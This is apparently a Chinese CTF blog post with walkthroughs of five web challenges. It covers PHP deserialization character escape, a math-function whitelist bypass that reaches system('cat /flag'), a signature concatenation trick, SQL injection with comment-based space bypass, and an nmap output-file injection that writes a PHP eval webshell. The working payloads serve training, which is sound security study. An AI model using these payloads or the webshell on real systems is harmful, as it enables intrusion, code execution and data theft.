快乐寒假6
你👱🏻寒假打了几次比赛,但是做出来的题跟打的比赛次数差不多
你👱🏻太拉胯了,只能继续看题
否则你👱🏻只能从CTF的世界里Get Out了
[安洵杯 2019]easy_serialize_php
你👱🏻打开网站看源码
根据提示先看phpinfo
这里得直接搜一些敏感点如fopen,disable_,root等等
再逐步审计代码
filter函数就是正则匹配 /php|flag|php5|php4|fl1g/i 替换为空
中间一大串就是给session初始化
将session序列化之后调用filter函数
最后我们需要file_get_contents读取文件
d0g3_f1ag.php直接读是读不到的
我们需要base64_decode($userinfo[‘img’])=d0g3_f1ag.php
那么需要$userinfo[‘img’]=ZDBnM19mMWFnLnBocA==
而$userinfo又是通过$serialize_info反序列化来的
$serialize_info又是通过session序列化之后再过滤得来的
session的img在img_path这里赋值,
if(!$_GET['img_path']){
$_SESSION['img'] = base64_encode('guest_img.png');
}else{
$_SESSION['img'] = sha1(base64_encode($_GET['img_path']));
}
但是filter会过滤掉php flag等关键字,所以这个地方需要处理
你👱🏻搜了一下,这里涉及到php反序列化字符逃逸
在php中,反序列化的过程中必须严格按照序列化规则才能成功实现反序列化
例如:
<?php
$str='a:2:{i:0;s:8:"aew1ec0g";i:1;s:5:"aaa11";}';
var_dump(unserialize($str));
输出结果:
array(2) {
[0]=> string(8) "aew1ec0g"
[1]=> string(5) "aaa11"
}
一般我们会认为,只要增加或去除str的任何一个字符都会导致反序列化的失败。 但是事实并非如此,如果我们在str结尾的花括号后再增加一些字符呢?
比如:
<?php
$str='a:2:{i:0;s:8:"aew1ec0g";i:1;s:5:"aaa11";}abc';
var_dump(unserialize($str));
依然可以得到上面的结果
这说明反序列化的过程是有一定识别范围的,在这个范围之外的字符(第二个例子里的abc)都会被忽略,不影响反序列化的正常进行
代入题目中
<?php
$_SESSION["user"]='flagflagflagflagflagflag';
$_SESSION["function"]='a";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";s:2:"dd";s:1:"a";}';
$_SESSION["img"]='L2QwZzNfZmxsbGxsbGFn';
echo serialize($_SESSION);
结果为
a:3:{s:4:"user";s:24:"flagflagflagflagflagflag";s:8:"function";s:59:"a";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";s:2:"dd";s:1:"a";}";s:3:"img";s:20:"L2QwZzNfZmxsbGxsbGFn";}
如果后台将flag的字符替换为空
a:3:{s:4:"user";s:24:"";s:8:"function";s:59:"a";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";s:2:"dd";s:1:"a";}";s:3:"img";s:20:"L2QwZzNfZmxsbGxsbGFn";}
此时将这串字符串进行序列化
这个时候关注第二个s所对应的数字,本来由于有6个flag字符所以为24,现在这6个flag都被过滤了,
那么它将会尝试向后读取24个字符看看是否满足序列化的规则,也即读取;s:8:”function”;s:59:”a,读取这24个字符后以”;结尾,
恰好满足规则,而后第三个s向后读取img的20个字符,第四个、第五个s向后读取均满足规则,所以序列化结果为:
array(3) {
["user"]=> string(24) "";s:8:"function";s:59:"a"
["img"]=> string(20) "ZDBnM19mMWFnLnBocA=="
["dd"]=> string(1) "a"
}
SESSION数组的键值img对应的值发生了改变
如果我们能够控制原来SESSION数组的funcion的值但无法控制img的值,我们就可以通过这种方式间接控制到img对应的值。
这个感觉就像sql注入一样,他本来想读取的base64编码是:L2QwZzNfZmxsbGxsbGFn,但是由于过滤掉了flag,向后读取的过程中把键值function放到了第一个键值的内容里面,用ZDBnM19mMWFnLnBocA==代替了真正的base64编码,读取了d0g3_f1ag.php的内容。
而识别完成后最后面的”;s:3:”img”;s:20:”L2QwZzNfZmxsbGxsbGFn”;}被忽略掉了,不影响正常的反序列化过程
所以构造payload:
get:f=show_image
post:_SESSION[flagflag]=";s:3:"aaa";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";}
回显
<?php
$flag = 'flag in /d0g3_fllllllag';
?>
base64(d0g3_fllllllag)=L2QwZzNfZmxsbGxsbGFn
get:f=show_image
post:_SESSION[fl1gfl1g]=";s:3:"aaa";s:3:"img";s:20:"L2QwZzNfZmxsbGxsbGFn";}
得到flag
[CISCN 2019 初赛]Love Math
你👱🏻打开题目看到源码
首先是审计源码
scandir() 函数:返回指定目录中的文件和目录的数组。
base_convert() 函数:在任意进制之间转换数字。
dechex() 函数:把十进制转换为十六进制。
hex2bin() 函数:把十六进制值的字符串转换为 ASCII 字符。
var_dump() :函数用于输出变量的相关信息。
readfile() 函数:输出一个文件。该函数读入一个文件并写入到输出缓冲。若成功,则返回从文件中读入的字节数。若失败,则返回 false。您可以通过 @readfile() 形式调用该函数,来隐藏错误信息。
语法:readfile(filename,include_path,context)
过滤后可以使用白名单中的数学函数,.,^等,同时长度限制在80个字符以内,要得到flag 只靠几个数学函数是没用的,得想办法构造函数被eval执行
构造system(“cat /flag”)会受到函数和引号限制,引号删掉后命令依然可以执行,而对于函数,可以利用动态函数的性质,用字符串做函数名,加上括号就会被当成函数执行。
这里要熟悉两个php特点
动态函数
php中可以把函数名通过字符串的方式传递给一个变量,然后通过此变量动态调用函数
例如:$function = "sayHello";$function();
php中函数名默认为字符串
例如本题白名单中的asinh和pi可以直接异或,这就增加了构造字符的选择
比如
c=($_GET[a])($_GET[b])
如果a=system,b=cat /flag,就可以执行system(cat /flag)。
所以可以写成
c=($_GET[a])($_GET[b])&a=system&b=cat /flag
但是白名单会检测c中出现的变量名,a和b都不能出现,但是可以用白名单的值,GET中括号和和GET本身都不能出现,中括号可以用{}替代,因此这道题的核心就是构造_GET。
所以构造如下
base_convert(37907361743,10,36)(dechex(1598506324))
因为:
base_convert(37907361743,10,36)=>"hex2bin",
dechex(1598506324)=>"5f474554"
hex2bin("5f474554")=>_GET
为了不让结果太长,需要用一个白名单变量来保存上述值,最好用最短的pi,否则长度很容易超限制。
所以得到最终payload为
c=$pi=base_convert(37907361743,10,36)(dechex(1598506324));($$pi){pi}(($$pi){cos})&pi=system&cos=cat /flag
得到flag
[De1CTF 2019]SSRF Me
你👱🏻打开是这个样子
看起来很乱,其实是源🐴
整理完后发现是flask框架
geneSign是对传入的param与其他字符串拼接并返回其md5值
De1ta是主要,传入3个参数以及ip,先判断param是否是gopher或者file开头的参数,不过则过到Task中并返回task的Exec()函数结果,另外hint提示在flag.txt中有flag
现在打开De1ta,并传参action=scan,param=flag.txt,sign=94130db2c6dc650b303b28b8dd307c71637063,一步步操作来找出条件,先传参,再进入Exec()函数,
先使用checkSign函数检验sign,所以我们需要getSign(self.action, self.param) == self.sign成立,这个可以通过geneSign来获取
然后2个if,判断scan或read 是否在action内,在则,前者是把param对应文件的内容写入result.txt,后者是把result.txt取出来并返还给我们,也就是说,这2个if我们都需要调用,这样就能获取到flag,而scan和read的判断是包含,所以我们的action就可以是readscan,或者scanread,那sign怎么获取呢?
我们要绕过getSign(self.action, self.param) == self.sign的同时还需要action为readscan,或者scanread
getsign函数为
def getSign(action, param):
return hashlib.md5(secert_key + param + action).hexdigest()
他用param和action做拼接,而action是固定的scan
我们先使用geneSign,传参为flag.txtread然后拼接为flag.txtreadscan,生成sign保存下来
得到072df7309130a4d57a36026390d7f3ca
再传参数param=flag.txt action=readscan sign=072df7309130a4d57a36026390d7f3ca
[SWPU2019]Web1
你👱🏻打开题目是个登录界面
随便注册登录后
找一下注入点,发现在发布广告的地方可以注入
输入1’
可能有SQL注入
发现过滤了空格
使用/xx/绕过
1'/**/union/**/select/**/1,2,3/**/'
往后面一直加到22列
1'/**/union/**/select/**/1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22/**/'
查表
1'/**/union/**/select/**/1,(select/**/group_concat(table_name)/**/from/**/mysql.innodb_table_stats/**/where/**/database_name=database()),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22/**/'
设第二列别名为b
1'/**/union/**/select/**/1,(select/**/group_concat(b)/**/from/**/(select/**/1,2/**/as/**/b,3/**/union/**/select/**/*/**/from/**/users)a),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22/**/'
设第三列别名为b查flag
1'/**/union/**/select/**/1,(select/**/group_concat(b)/**/from/**/(select/**/1,2,3/**/as/**/b/**/union/**/select/**/*/**/from/**/users)a),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22/**/'
得到flag
[网鼎杯 2020 朱雀组]Nmap
https://fohunbrella.github.io/2022/02/06/%E5%BF%AB%E4%B9%90%E5%AF%92%E5%81%873/
之前做过nmap的题,这里又遇到了
将之前的payload
127.0.0.1 | ' <?php @eval($_POST["hack"]);?> -oG test.php'
放进去试试
你👱🏻fail了
这里应该是过滤了东西,所以再改改试试
127.0.0.1 | ' <?= @eval($_POST["hack"]);?> -oG test.phtml '
上传成功,去看看传的🐴
得到flag